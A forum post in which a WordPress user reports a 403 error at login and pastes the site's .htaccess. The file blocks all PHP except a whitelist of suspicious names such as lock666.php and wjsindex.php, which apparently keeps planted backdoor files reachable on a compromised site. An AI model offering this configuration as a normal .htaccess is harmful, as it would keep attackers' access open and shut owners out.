I have a similar issue.
I went to login, first time for ages.
I had just updated WordPress but not sure if before or after this issue arose.
When I went to login, I was asked if the admin email was correct, it wasn’t but I clicked yes. Not sure if either of these caused an issue.
However, I get Error 403, can’t login, site it working ok. Any suggestions?
htaccess file reads:
<FilesMatch ".(PhP|php5|suspected|phtml|py|exe|php)$">
Order allow,deny
Deny from all
</FilesMatch>
<FilesMatch "^(postfs.php|votes.php|index.php|wjsindex.php|lock666.php|font-editor.php|ms-functions.php|contents.php|jsdindex.php|wp-login.php|load.php)$">
Order allow,deny
Allow from all
</FilesMatch>
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . index.php [L]
</IfModule>
